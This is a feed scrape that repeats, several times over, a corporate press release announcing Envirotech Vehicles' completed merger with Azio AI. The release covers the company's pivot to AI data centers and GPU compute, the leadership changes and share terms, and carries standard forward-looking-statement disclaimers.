<p><a href="https://www.evtvusa.com/" target="_blank" rel="noreferrer noopener">Envirotech Vehicles</a>, Inc. (NASDAQ: EVTV) (“EVTV” or the “Company”) today announced the successful completion of its merger with Azio AI Corporation (“Azio AI”) on July 2, 2026, paving the way for the Company to transform to an AI Datacenter Provider and meeting the growing market demand for artificial intelligence (“AI”) infrastructure, enterprise GPU compute, digital power solutions, data center development, and digital asset infrastructure; a market that the International Data Corporation (IDC) projects will reach $487 billion in global spending in 2026 and exceed $1 trillion by 2029.<a href="http://docs.google.com/blank">[1]</a> The transaction marks a defining milestone in the Company’s strategic transformation and establishes the foundation for its next phase of commercial execution and long-term growth.</p>



<p>The parties amended the proposed transaction structure to expedite the closing timeline, allowing the combined company to begin operating as a fully integrated public company significantly sooner than originally anticipated. The accelerated closing enables management to immediately focus on commercialization across its expanding AI Datacenter strategy.</p>



<p>With the merger complete and the combined company operating as one organization, management is now fully focused on commercial execution, infrastructure deployment, strategic growth initiatives, and creating long-term shareholder value.</p>



<p>Over the past several months, the Company advanced development activities at its South Texas site and deployed six megawatts of off-grid power for its modular data centers. The Company further secured rights to a 548-acre site with the capacity to scale up to 500 MW, supporting the future development of AI hyperscale data centers.</p>



<p>Management believes these achievements demonstrate that the combined company is entering its next phase with meaningful operational momentum already in place rather than beginning from a standing start. Infrastructure deployment is underway, customer commitments have already been established, commercial execution is actively progressing, and the Company’s corporate structure is now aligned with an operating platform built to support long-term expansion.</p>



<p>The completion of the merger comes at a time when investment in AI infrastructure continues to accelerate globally as enterprises increasingly require access to high-performance computing resources, GPU infrastructure, and scalable digital power solutions. Management believes the combined company is well positioned to capitalize on these long-term industry trends through a diversified infrastructure strategy designed to monetize power assets across multiple complementary revenue streams, including AI data centers, enterprise compute infrastructure, power hosting, and digital asset mining operations.</p>



<p>Following the closing of the transaction, the Company intends to continue expanding its AI Infrastructure strategy through AI data center development, enterprise GPU compute solutions, power hosting services, digital asset mining operations, strategic infrastructure investments, and additional commercial partnerships designed to maximize utilization of its power resources while creating multiple long-term revenue opportunities.</p>



<p>In connection with the closing of the merger, Phillip Oldridge has stepped down as Chief Executive Officer. Jason Maddox vacates the President position and is now the Chief Financial Officer. The Company’s Board of Directors appointed Simon Yu as President and Chris Young as Chief Executive Officer, effective immediately.</p>



<p>Mr. Yu is a serial entrepreneur and public markets operator with almost a decade of experience taking companies public, executing capital raises, and scaling businesses. He has previously served in founder, C-suite, and board roles at three publicly traded companies, two of which reached market capitalizations in excess of $1 billion. Mr. Yu has led legal, accounting, and advisory teams through Regulation A+ Tier 2 offerings, PCAOB audits, and public company reporting, alongside leading M&amp;A transactions. As an active early-stage venture investor, he has evaluated investment opportunities across artificial intelligence, SaaS, and B2B technology.</p>



<p>Mr. Young brings extensive experience in launching and leading public companies and investing in and advising emerging technology companies, with a particular focus on artificial intelligence, software innovation, and strategic growth initiatives. Prior to joining EVTV, he served as Chief Executive Officer of Clubhouse Media Group, a publicly traded social media company and an Entrepreneur in Residence at Amplify, where he worked alongside founders and venture-backed technology companies to accelerate commercialization and support the development of high-growth technology businesses.</p>



<p>“Today’s announcement represents far more than the completion of a merger—it marks the beginning of our next chapter,” said Chris Young, Chief Executive Officer of EVTV. “Over the past several months, our teams have been building the operational foundation of this business while simultaneously working toward completing this transaction. With the merger now finalized, we move forward as one company with one leadership team and one strategy, focused on executing against the opportunities in front of us. We believe demand for AI infrastructure, enterprise compute, and digital infrastructure will continue expanding for years to come. Our objective is to build a scalable platform capable of serving that demand while creating long-term value for our shareholders.”</p>



<p>Jason Maddox, Chief Financial Officer of EVTV, added, “Completing this transaction under the amended merger structure allows us to immediately focus on execution. We have already established meaningful operational momentum, and we believe operating as a unified public company enhances our ability to deploy infrastructure, serve customers, pursue strategic growth opportunities, and continue building long-term shareholder value.”</p>



<p>The transaction establishes a unified operating platform designed to support the Company’s long-term growth strategy through continued investment in AI infrastructure, enterprise computing, digital power assets, and digital infrastructure development. Management believes the completion of the merger provides the operational and organizational foundation necessary to pursue the next phase of commercialization while expanding its presence across some of the fastest-growing sectors of the global technology market.</p>



<h3 class="wp-block-heading"><strong>Transaction and Operational Highlights</strong></h3>



<ul class="wp-block-list">
<li>Successfully completed the merger with Azio AI pursuant to an amended and restated merger agreement.</li>



<li>Approximately six megawatts of off-grid digital infrastructure deployed at the Company’s South Texas development site.</li>



<li>Development footprint exceeding 548 acres with the potential to support up to 500 MW of AI infrastructure capacity.</li>



<li>Combined company positioned to accelerate commercialization across AI infrastructure, enterprise GPU compute, digital power solutions, and digital asset mining operations.</li>



<li>Merger consideration consisted of 2,655,157 shares of common stock and 973,450 shares of non-voting convertible preferred stock in exchange for 100% of outstanding capital stock of Azio AI, of which 194,807 shares of common stock were reserved for convertible notes of Azio AI assumed by the Company upon closing.</li>



<li>Each share of preferred stock convertible into 100 shares of Company common stock subject to stockholder approval.</li>



<li>Chris Young appointed Chief Executive Officer and Chairman of the Board.</li>



<li>Simon Yu appointed President.</li>



<li>Jason Maddox appointed Chief Financial Officer.</li>



<li>Phillip Oldridge stepped down as Chief Executive Officer.</li>
</ul>



<p><strong>About Envirotech Vehicles, Inc.</strong></p>



<p>Envirotech Vehicles, Inc. (NASDAQ: EVTV) is a technology infrastructure company focused on developing, owning, and operating artificial intelligence data centers, enterprise GPU compute infrastructure, digital power solutions, and digital asset mining operations. Following its acquisition of Azio AI, the Company operates an integrated AI infrastructure business encompassing AI data center development, the sale and distribution of enterprise GPU systems and server infrastructure, high-performance computing solutions, power hosting, and strategic technology investments, serving enterprise and institutional customers across domestic and international markets. Through this diversified AI infrastructure strategy, the Company is positioned to capitalize on the rapidly expanding global demand for AI infrastructure, compute capacity, digital power, and next-generation AI technologies.</p>



<p>For more information please visit: <a href="http://www.azioai.ai/" target="_blank" rel="noreferrer noopener">www.azioai.ai</a> and for potential partnerships contact: <a href="mailto:AI@PhoenixMGMTconsulting.com" target="_blank" rel="noreferrer noopener">AI@PhoenixMGMTconsulting.com</a></p>



<p><strong>Forward-Looking Statements</strong></p>



<p>This press release contains forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. In some cases, you can identify forward-looking statements by words such as “may,” “will,” “could,” “expect,” “anticipate,” “believe,” “estimate,” “project,” “intend,” “continue,” “potential,” “ongoing,” or the negative of these terms or other comparable terminology, although not all forward-looking statements contain these words. Forward-looking statements include statements regarding the Company’s ability to capitalize on accelerating demand for AI infrastructure, enterprise GPU compute, digital power solutions, data center development, and digital asset infrastructure; the Company’s plans to continue expanding its digital infrastructure platform through AI data center development, enterprise GPU compute solutions, power hosting services, digital asset mining operations, strategic infrastructure investments, and additional commercial partnerships; the Company’s ability to maximize utilization of its power resources while creating multiple long-term revenue opportunities; the ability to continue deploying modular digital infrastructure at the Company’s South Texas site; the anticipated deployment and scaling of NVIDIA B200 and B300 GPU systems; the ability to advance and execute against the Company’s commercial infrastructure pipeline; the anticipated development of the Company’s footprint; the ability to monetize power assets across multiple complementary revenue streams, including AI data centers, enterprise compute infrastructure, power hosting, and digital asset mining operations; customer demand for AI infrastructure, enterprise compute, and digital infrastructure; the Company’s ability to build a scalable platform designed to serve that demand and create long-term shareholder value; and the Company’s broader business strategy and long-term growth objectives.</p>



<p>These statements are based on current expectations and assumptions that involve risks and uncertainties that could cause actual results to differ materially. Most of these factors are outside the Company’s control and are difficult to predict. Factors that may affect actual results include, but are not limited to, the Company’s limited operating history within AI infrastructure and compute operations, project scope, engineering challenges, supply chain constraints, installation timelines, energy availability, finalization of site usage rights, regulatory considerations, equipment performance, ability to raise capital required for expansion activities, changes in digital asset markets, evolving compute demand, market conditions, the Company’s ability to successfully integrate the combined business following the completion of the merger, the risk that the anticipated benefits and synergies of the merger are not realized, the risk of unexpected costs, charges, or expenses resulting from or relating to the merger, potential adverse reactions or changes to business relationships resulting from the completion of the merger, risks related to the diversion of management’s attention from ongoing business operations during the post-closing integration period, the risk that required stockholder approval for the conversion of preferred stock issued in the merger as required by rules of The Nasdaq Stock Market LLC (the “Conversion Proposal”) is not obtained, and additional risks and uncertainties described in the Company’s most recent Annual Report on Form 10-K and subsequent Quarterly Reports on Form 10-Q filed with the SEC, which are available at www.sec.gov. The Company undertakes no obligation to update forward-looking statements except as required by law.</p>



<p><strong><em>Important Information About the Merger and Where to Find it</em></strong></p>



<p>The Company expects to file a proxy statement with the SEC relating to the Conversion Proposal. The definitive proxy statement will be sent to all Company stockholders. Before making any voting decision, investors and security-holders of the Company are urged to read the proxy statement and all other relevant documents filed or that will be filed with the SEC in connection with the Conversion Proposal as they become available because they will contain important information about the amended and restated merger agreement between the parties and the related transactions and the Conversion Proposal to be voted upon by the Company’s stockholders. Investors and security-holders will be able to obtain free copies of the proxy statement and all other relevant documents filed or that will be filed with the SEC by the Company through the website maintained by the SEC at www.sec.gov.</p>



<p><strong><em>Participants in the Solicitation</em></strong></p>



<p>The Company and its directors and executive officers may be considered participants in the solicitation of proxies from EVTV’s stockholders with respect to the Conversion Proposal under the rules of the SEC. Information about the directors and executive officers of EVTV is set forth in its Annual Report on Form 10-K for the year ended December 31, 2025, which was filed with the SEC on April 13, 2026, and in subsequent Quarterly Reports on Form 10-Q and other documents filed by the Company from time to time with the SEC. Additional information regarding the persons who may be deemed participants in the proxy solicitation and a description of their direct and indirect interests, by security holdings or otherwise, will also be included in the proxy statement, and other relevant materials to be filed with the SEC when they become available. You may obtain free copies of these documents as described above.</p>



<p>¹ Source: International Data Corporation (IDC), “AI Infrastructure Spending Caps Historic Year at ~$90 Billion in Q4 2025; 2029 Spending to Eclipse $1 Trillion,” April 16, 2026. The Company has not independently verified the data or projections contained in this report, and there can be no assurance that the projections will be realized.</p>



<h5 class="wp-block-heading">Contact</h5>



<p><strong>Phoenix MGMT &amp; Consulting</strong></p>



<p><strong>Press@PhoenixMGMTConsulting.com</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Envirotech Vehicles Closes Merger with Azio AI Ahead of Schedule, Positioning Combined Company to Capture $487 Billion 2026 AI Infrastructure Opportunity]]></title>
<description><![CDATA[Revised transaction structure enables immediate closing, accelerating the Company’s strategic pivot toward AI data centers, enterprise GPU compute, and digital power infrastructure.



Envirotech Vehicles, Inc. (NASDAQ: EVTV) (“EVTV” or the “Company”) today announced the successful completion of ...]]></description>
<link>https://tsecurity.de/de/3651613/it-security-nachrichten/envirotech-vehicles-closes-merger-with-azio-ai-ahead-of-schedule-positioning-combined-company-to-capture-487-billion-2026-ai-infrastructure-opportunity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651613/it-security-nachrichten/envirotech-vehicles-closes-merger-with-azio-ai-ahead-of-schedule-positioning-combined-company-to-capture-487-billion-2026-ai-infrastructure-opportunity/</guid>
<pubDate>Tue, 07 Jul 2026 15:09:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p><em>Revised transaction structure enables immediate closing, accelerating the Company’s strategic pivot toward AI data centers, enterprise GPU compute, and digital power infrastructure.</em></p>



<p><a href="https://www.evtvusa.com/" target="_blank" rel="noreferrer noopener">Envirotech Vehicles</a>, Inc. (NASDAQ: EVTV) (“EVTV” or the “Company”) today announced the successful completion of its merger with Azio AI Corporation (“Azio AI”) on July 2, 2026, paving the way for the Company to transform to an AI Datacenter Provider and meeting the growing market demand for artificial intelligence (“AI”) infrastructure, enterprise GPU compute, digital power solutions, data center development, and digital asset infrastructure; a market that the International Data Corporation (IDC) projects will reach $487 billion in global spending in 2026 and exceed $1 trillion by 2029.<a href="http://docs.google.com/blank">[1]</a> The transaction marks a defining milestone in the Company’s strategic transformation and establishes the foundation for its next phase of commercial execution and long-term growth.</p>



<p>The parties amended the proposed transaction structure to expedite the closing timeline, allowing the combined company to begin operating as a fully integrated public company significantly sooner than originally anticipated. The accelerated closing enables management to immediately focus on commercialization across its expanding AI Datacenter strategy.</p>



<p>With the merger complete and the combined company operating as one organization, management is now fully focused on commercial execution, infrastructure deployment, strategic growth initiatives, and creating long-term shareholder value.</p>



<p>Over the past several months, the Company advanced development activities at its South Texas site and deployed six megawatts of off-grid power for its modular data centers. The Company further secured rights to a 548-acre site with the capacity to scale up to 500 MW, supporting the future development of AI hyperscale data centers.</p>



<p>Management believes these achievements demonstrate that the combined company is entering its next phase with meaningful operational momentum already in place rather than beginning from a standing start. Infrastructure deployment is underway, customer commitments have already been established, commercial execution is actively progressing, and the Company’s corporate structure is now aligned with an operating platform built to support long-term expansion.</p>



<p>The completion of the merger comes at a time when investment in AI infrastructure continues to accelerate globally as enterprises increasingly require access to high-performance computing resources, GPU infrastructure, and scalable digital power solutions. Management believes the combined company is well positioned to capitalize on these long-term industry trends through a diversified infrastructure strategy designed to monetize power assets across multiple complementary revenue streams, including AI data centers, enterprise compute infrastructure, power hosting, and digital asset mining operations.</p>



<p>Following the closing of the transaction, the Company intends to continue expanding its AI Infrastructure strategy through AI data center development, enterprise GPU compute solutions, power hosting services, digital asset mining operations, strategic infrastructure investments, and additional commercial partnerships designed to maximize utilization of its power resources while creating multiple long-term revenue opportunities.</p>



<p>In connection with the closing of the merger, Phillip Oldridge has stepped down as Chief Executive Officer. Jason Maddox vacates the President position and is now the Chief Financial Officer. The Company’s Board of Directors appointed Simon Yu as President and Chris Young as Chief Executive Officer, effective immediately.</p>



<p>Mr. Yu is a serial entrepreneur and public markets operator with almost a decade of experience taking companies public, executing capital raises, and scaling businesses. He has previously served in founder, C-suite, and board roles at three publicly traded companies, two of which reached market capitalizations in excess of $1 billion. Mr. Yu has led legal, accounting, and advisory teams through Regulation A+ Tier 2 offerings, PCAOB audits, and public company reporting, alongside leading M&amp;A transactions. As an active early-stage venture investor, he has evaluated investment opportunities across artificial intelligence, SaaS, and B2B technology.</p>



<p>Mr. Young brings extensive experience in launching and leading public companies and investing in and advising emerging technology companies, with a particular focus on artificial intelligence, software innovation, and strategic growth initiatives. Prior to joining EVTV, he served as Chief Executive Officer of Clubhouse Media Group, a publicly traded social media company and an Entrepreneur in Residence at Amplify, where he worked alongside founders and venture-backed technology companies to accelerate commercialization and support the development of high-growth technology businesses.</p>



<p>“Today’s announcement represents far more than the completion of a merger—it marks the beginning of our next chapter,” said Chris Young, Chief Executive Officer of EVTV. “Over the past several months, our teams have been building the operational foundation of this business while simultaneously working toward completing this transaction. With the merger now finalized, we move forward as one company with one leadership team and one strategy, focused on executing against the opportunities in front of us. We believe demand for AI infrastructure, enterprise compute, and digital infrastructure will continue expanding for years to come. Our objective is to build a scalable platform capable of serving that demand while creating long-term value for our shareholders.”</p>



<p>Jason Maddox, Chief Financial Officer of EVTV, added, “Completing this transaction under the amended merger structure allows us to immediately focus on execution. We have already established meaningful operational momentum, and we believe operating as a unified public company enhances our ability to deploy infrastructure, serve customers, pursue strategic growth opportunities, and continue building long-term shareholder value.”</p>



<p>The transaction establishes a unified operating platform designed to support the Company’s long-term growth strategy through continued investment in AI infrastructure, enterprise computing, digital power assets, and digital infrastructure development. Management believes the completion of the merger provides the operational and organizational foundation necessary to pursue the next phase of commercialization while expanding its presence across some of the fastest-growing sectors of the global technology market.</p>



<h3 class="wp-block-heading"><strong>Transaction and Operational Highlights</strong></h3>



<ul class="wp-block-list">
<li>Successfully completed the merger with Azio AI pursuant to an amended and restated merger agreement.</li>



<li>Approximately six megawatts of off-grid digital infrastructure deployed at the Company’s South Texas development site.</li>



<li>Development footprint exceeding 548 acres with the potential to support up to 500 MW of AI infrastructure capacity.</li>



<li>Combined company positioned to accelerate commercialization across AI infrastructure, enterprise GPU compute, digital power solutions, and digital asset mining operations.</li>



<li>Merger consideration consisted of 2,655,157 shares of common stock and 973,450 shares of non-voting convertible preferred stock in exchange for 100% of outstanding capital stock of Azio AI, of which 194,807 shares of common stock were reserved for convertible notes of Azio AI assumed by the Company upon closing.</li>



<li>Each share of preferred stock convertible into 100 shares of Company common stock subject to stockholder approval.</li>



<li>Chris Young appointed Chief Executive Officer and Chairman of the Board.</li>



<li>Simon Yu appointed President.</li>



<li>Jason Maddox appointed Chief Financial Officer.</li>



<li>Phillip Oldridge stepped down as Chief Executive Officer.</li>
</ul>



<p><strong>About Envirotech Vehicles, Inc.</strong></p>



<p>Envirotech Vehicles, Inc. (NASDAQ: EVTV) is a technology infrastructure company focused on developing, owning, and operating artificial intelligence data centers, enterprise GPU compute infrastructure, digital power solutions, and digital asset mining operations. Following its acquisition of Azio AI, the Company operates an integrated AI infrastructure business encompassing AI data center development, the sale and distribution of enterprise GPU systems and server infrastructure, high-performance computing solutions, power hosting, and strategic technology investments, serving enterprise and institutional customers across domestic and international markets. Through this diversified AI infrastructure strategy, the Company is positioned to capitalize on the rapidly expanding global demand for AI infrastructure, compute capacity, digital power, and next-generation AI technologies.</p>



<p>For more information please visit: <a href="http://www.azioai.ai/" target="_blank" rel="noreferrer noopener">www.azioai.ai</a> and for potential partnerships contact: <a href="mailto:AI@PhoenixMGMTconsulting.com" target="_blank" rel="noreferrer noopener">AI@PhoenixMGMTconsulting.com</a></p>



<p><strong>Forward-Looking Statements</strong></p>



<p>This press release contains forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. In some cases, you can identify forward-looking statements by words such as “may,” “will,” “could,” “expect,” “anticipate,” “believe,” “estimate,” “project,” “intend,” “continue,” “potential,” “ongoing,” or the negative of these terms or other comparable terminology, although not all forward-looking statements contain these words. Forward-looking statements include statements regarding the Company’s ability to capitalize on accelerating demand for AI infrastructure, enterprise GPU compute, digital power solutions, data center development, and digital asset infrastructure; the Company’s plans to continue expanding its digital infrastructure platform through AI data center development, enterprise GPU compute solutions, power hosting services, digital asset mining operations, strategic infrastructure investments, and additional commercial partnerships; the Company’s ability to maximize utilization of its power resources while creating multiple long-term revenue opportunities; the ability to continue deploying modular digital infrastructure at the Company’s South Texas site; the anticipated deployment and scaling of NVIDIA B200 and B300 GPU systems; the ability to advance and execute against the Company’s commercial infrastructure pipeline; the anticipated development of the Company’s footprint; the ability to monetize power assets across multiple complementary revenue streams, including AI data centers, enterprise compute infrastructure, power hosting, and digital asset mining operations; customer demand for AI infrastructure, enterprise compute, and digital infrastructure; the Company’s ability to build a scalable platform designed to serve that demand and create long-term shareholder value; and the Company’s broader business strategy and long-term growth objectives.</p>



<p>These statements are based on current expectations and assumptions that involve risks and uncertainties that could cause actual results to differ materially. Most of these factors are outside the Company’s control and are difficult to predict. Factors that may affect actual results include, but are not limited to, the Company’s limited operating history within AI infrastructure and compute operations, project scope, engineering challenges, supply chain constraints, installation timelines, energy availability, finalization of site usage rights, regulatory considerations, equipment performance, ability to raise capital required for expansion activities, changes in digital asset markets, evolving compute demand, market conditions, the Company’s ability to successfully integrate the combined business following the completion of the merger, the risk that the anticipated benefits and synergies of the merger are not realized, the risk of unexpected costs, charges, or expenses resulting from or relating to the merger, potential adverse reactions or changes to business relationships resulting from the completion of the merger, risks related to the diversion of management’s attention from ongoing business operations during the post-closing integration period, the risk that required stockholder approval for the conversion of preferred stock issued in the merger as required by rules of The Nasdaq Stock Market LLC (the “Conversion Proposal”) is not obtained, and additional risks and uncertainties described in the Company’s most recent Annual Report on Form 10-K and subsequent Quarterly Reports on Form 10-Q filed with the SEC, which are available at www.sec.gov. The Company undertakes no obligation to update forward-looking statements except as required by law.</p>



<p><strong><em>Important Information About the Merger and Where to Find it</em></strong></p>



<p>The Company expects to file a proxy statement with the SEC relating to the Conversion Proposal. The definitive proxy statement will be sent to all Company stockholders. Before making any voting decision, investors and security-holders of the Company are urged to read the proxy statement and all other relevant documents filed or that will be filed with the SEC in connection with the Conversion Proposal as they become available because they will contain important information about the amended and restated merger agreement between the parties and the related transactions and the Conversion Proposal to be voted upon by the Company’s stockholders. Investors and security-holders will be able to obtain free copies of the proxy statement and all other relevant documents filed or that will be filed with the SEC by the Company through the website maintained by the SEC at www.sec.gov.</p>



<p><strong><em>Participants in the Solicitation</em></strong></p>



<p>The Company and its directors and executive officers may be considered participants in the solicitation of proxies from EVTV’s stockholders with respect to the Conversion Proposal under the rules of the SEC. Information about the directors and executive officers of EVTV is set forth in its Annual Report on Form 10-K for the year ended December 31, 2025, which was filed with the SEC on April 13, 2026, and in subsequent Quarterly Reports on Form 10-Q and other documents filed by the Company from time to time with the SEC. Additional information regarding the persons who may be deemed participants in the proxy solicitation and a description of their direct and indirect interests, by security holdings or otherwise, will also be included in the proxy statement, and other relevant materials to be filed with the SEC when they become available. You may obtain free copies of these documents as described above.</p>



<p>¹ Source: International Data Corporation (IDC), “AI Infrastructure Spending Caps Historic Year at ~$90 Billion in Q4 2025; 2029 Spending to Eclipse $1 Trillion,” April 16, 2026. The Company has not independently verified the data or projections contained in this report, and there can be no assurance that the projections will be realized.</p>



<h5 class="wp-block-heading">Contact</h5>



<p><strong>Phoenix MGMT &amp; Consulting</strong></p>



<p><strong>Press@PhoenixMGMTConsulting.com</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Envirotech Vehicles Closes Merger with Azio AI Ahead of Schedule, Positioning Combined Company to Capture $487 Billion 2026 AI Infrastructure Opportunity]]></title>
<description><![CDATA[Revised transaction structure enables immediate closing, accelerating the Company’s strategic pivot toward AI data centers, enterprise GPU compute, and digital power infrastructure.



Envirotech Vehicles, Inc. (NASDAQ: EVTV) (“EVTV” or the “Company”) today announced the successful completion of ...]]></description>
<link>https://tsecurity.de/de/3651556/it-security-nachrichten/envirotech-vehicles-closes-merger-with-azio-ai-ahead-of-schedule-positioning-combined-company-to-capture-487-billion-2026-ai-infrastructure-opportunity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651556/it-security-nachrichten/envirotech-vehicles-closes-merger-with-azio-ai-ahead-of-schedule-positioning-combined-company-to-capture-487-billion-2026-ai-infrastructure-opportunity/</guid>
<pubDate>Tue, 07 Jul 2026 14:52:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p><em>Revised transaction structure enables immediate closing, accelerating the Company’s strategic pivot toward AI data centers, enterprise GPU compute, and digital power infrastructure.</em></p>



<p><a href="https://www.evtvusa.com/" target="_blank" rel="sponsored">Envirotech Vehicles</a>, Inc. (NASDAQ: EVTV) (“EVTV” or the “Company”) today announced the successful completion of its merger with Azio AI Corporation (“Azio AI”) on July 2, 2026, paving the way for the Company to transform to an AI Datacenter Provider and meeting the growing market demand for artificial intelligence (“AI”) infrastructure, enterprise GPU compute, digital power solutions, data center development, and digital asset infrastructure; a market that the International Data Corporation (IDC) projects will reach $487 billion in global spending in 2026 and exceed $1 trillion by 2029.<a href="http://docs.google.com/blank" rel="sponsored">[1]</a> The transaction marks a defining milestone in the Company’s strategic transformation and establishes the foundation for its next phase of commercial execution and long-term growth.</p>



<p>The parties amended the proposed transaction structure to expedite the closing timeline, allowing the combined company to begin operating as a fully integrated public company significantly sooner than originally anticipated. The accelerated closing enables management to immediately focus on commercialization across its expanding AI Datacenter strategy.</p>



<p>With the merger complete and the combined company operating as one organization, management is now fully focused on commercial execution, infrastructure deployment, strategic growth initiatives, and creating long-term shareholder value.</p>



<p>Over the past several months, the Company advanced development activities at its South Texas site and deployed six megawatts of off-grid power for its modular data centers. The Company further secured rights to a 548-acre site with the capacity to scale up to 500 MW, supporting the future development of AI hyperscale data centers.</p>



<p>Management believes these achievements demonstrate that the combined company is entering its next phase with meaningful operational momentum already in place rather than beginning from a standing start. Infrastructure deployment is underway, customer commitments have already been established, commercial execution is actively progressing, and the Company’s corporate structure is now aligned with an operating platform built to support long-term expansion.</p>



<p>The completion of the merger comes at a time when investment in AI infrastructure continues to accelerate globally as enterprises increasingly require access to high-performance computing resources, GPU infrastructure, and scalable digital power solutions. Management believes the combined company is well positioned to capitalize on these long-term industry trends through a diversified infrastructure strategy designed to monetize power assets across multiple complementary revenue streams, including AI data centers, enterprise compute infrastructure, power hosting, and digital asset mining operations.</p>



<p>Following the closing of the transaction, the Company intends to continue expanding its AI Infrastructure strategy through AI data center development, enterprise GPU compute solutions, power hosting services, digital asset mining operations, strategic infrastructure investments, and additional commercial partnerships designed to maximize utilization of its power resources while creating multiple long-term revenue opportunities.</p>



<p>In connection with the closing of the merger, Phillip Oldridge has stepped down as Chief Executive Officer. Jason Maddox vacates the President position and is now the Chief Financial Officer. The Company’s Board of Directors appointed Simon Yu as President and Chris Young as Chief Executive Officer, effective immediately.</p>



<p>Mr. Yu is a serial entrepreneur and public markets operator with almost a decade of experience taking companies public, executing capital raises, and scaling businesses. He has previously served in founder, C-suite, and board roles at three publicly traded companies, two of which reached market capitalizations in excess of $1 billion. Mr. Yu has led legal, accounting, and advisory teams through Regulation A+ Tier 2 offerings, PCAOB audits, and public company reporting, alongside leading M&amp;A transactions. As an active early-stage venture investor, he has evaluated investment opportunities across artificial intelligence, SaaS, and B2B technology.</p>



<p>Mr. Young brings extensive experience in launching and leading public companies and investing in and advising emerging technology companies, with a particular focus on artificial intelligence, software innovation, and strategic growth initiatives. Prior to joining EVTV, he served as Chief Executive Officer of Clubhouse Media Group, a publicly traded social media company and an Entrepreneur in Residence at Amplify, where he worked alongside founders and venture-backed technology companies to accelerate commercialization and support the development of high-growth technology businesses.</p>



<p>“Today’s announcement represents far more than the completion of a merger—it marks the beginning of our next chapter,” said Chris Young, Chief Executive Officer of EVTV. “Over the past several months, our teams have been building the operational foundation of this business while simultaneously working toward completing this transaction. With the merger now finalized, we move forward as one company with one leadership team and one strategy, focused on executing against the opportunities in front of us. We believe demand for AI infrastructure, enterprise compute, and digital infrastructure will continue expanding for years to come. Our objective is to build a scalable platform capable of serving that demand while creating long-term value for our shareholders.”</p>



<p>Jason Maddox, Chief Financial Officer of EVTV, added, “Completing this transaction under the amended merger structure allows us to immediately focus on execution. We have already established meaningful operational momentum, and we believe operating as a unified public company enhances our ability to deploy infrastructure, serve customers, pursue strategic growth opportunities, and continue building long-term shareholder value.”</p>



<p>The transaction establishes a unified operating platform designed to support the Company’s long-term growth strategy through continued investment in AI infrastructure, enterprise computing, digital power assets, and digital infrastructure development. Management believes the completion of the merger provides the operational and organizational foundation necessary to pursue the next phase of commercialization while expanding its presence across some of the fastest-growing sectors of the global technology market.</p>



<p><strong>Transaction and Operational Highlights</strong></p>



<ul class="wp-block-list">
<li>Successfully completed the merger with Azio AI pursuant to an amended and restated merger agreement.</li>



<li>Approximately six megawatts of off-grid digital infrastructure deployed at the Company’s South Texas development site.</li>



<li>Development footprint exceeding 548 acres with the potential to support up to 500 MW of AI infrastructure capacity.</li>



<li>Combined company positioned to accelerate commercialization across AI infrastructure, enterprise GPU compute, digital power solutions, and digital asset mining operations.</li>



<li>Merger consideration consisted of 2,655,157 shares of common stock and 973,450 shares of non-voting convertible preferred stock in exchange for 100% of outstanding capital stock of Azio AI, of which 194,807 shares of common stock were reserved for convertible notes of Azio AI assumed by the Company upon closing.</li>



<li>Each share of preferred stock convertible into 100 shares of Company common stock subject to stockholder approval.</li>



<li>Chris Young appointed Chief Executive Officer and Chairman of the Board.</li>



<li>Simon Yu appointed President.</li>



<li>Jason Maddox appointed Chief Financial Officer.</li>



<li>Phillip Oldridge stepped down as Chief Executive Officer.</li>
</ul>



<p><strong>About Envirotech Vehicles, Inc.</strong></p>



<p>Envirotech Vehicles, Inc. (NASDAQ: EVTV) is a technology infrastructure company focused on developing, owning, and operating artificial intelligence data centers, enterprise GPU compute infrastructure, digital power solutions, and digital asset mining operations. Following its acquisition of Azio AI, the Company operates an integrated AI infrastructure business encompassing AI data center development, the sale and distribution of enterprise GPU systems and server infrastructure, high-performance computing solutions, power hosting, and strategic technology investments, serving enterprise and institutional customers across domestic and international markets. Through this diversified AI infrastructure strategy, the Company is positioned to capitalize on the rapidly expanding global demand for AI infrastructure, compute capacity, digital power, and next-generation AI technologies.</p>



<p>For more information please visit: <a href="http://www.azioai.ai/" target="_blank" rel="sponsored">www.azioai.ai</a> and for potential partnerships contact: <a href="mailto:AI@PhoenixMGMTconsulting.com" target="_blank" rel="sponsored">AI@PhoenixMGMTconsulting.com</a></p>



<p><strong>Forward-Looking Statements</strong></p>



<p>This press release contains forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. In some cases, you can identify forward-looking statements by words such as “may,” “will,” “could,” “expect,” “anticipate,” “believe,” “estimate,” “project,” “intend,” “continue,” “potential,” “ongoing,” or the negative of these terms or other comparable terminology, although not all forward-looking statements contain these words. Forward-looking statements include statements regarding the Company’s ability to capitalize on accelerating demand for AI infrastructure, enterprise GPU compute, digital power solutions, data center development, and digital asset infrastructure; the Company’s plans to continue expanding its digital infrastructure platform through AI data center development, enterprise GPU compute solutions, power hosting services, digital asset mining operations, strategic infrastructure investments, and additional commercial partnerships; the Company’s ability to maximize utilization of its power resources while creating multiple long-term revenue opportunities; the ability to continue deploying modular digital infrastructure at the Company’s South Texas site; the anticipated deployment and scaling of NVIDIA B200 and B300 GPU systems; the ability to advance and execute against the Company’s commercial infrastructure pipeline; the anticipated development of the Company’s footprint; the ability to monetize power assets across multiple complementary revenue streams, including AI data centers, enterprise compute infrastructure, power hosting, and digital asset mining operations; customer demand for AI infrastructure, enterprise compute, and digital infrastructure; the Company’s ability to build a scalable platform designed to serve that demand and create long-term shareholder value; and the Company’s broader business strategy and long-term growth objectives.</p>



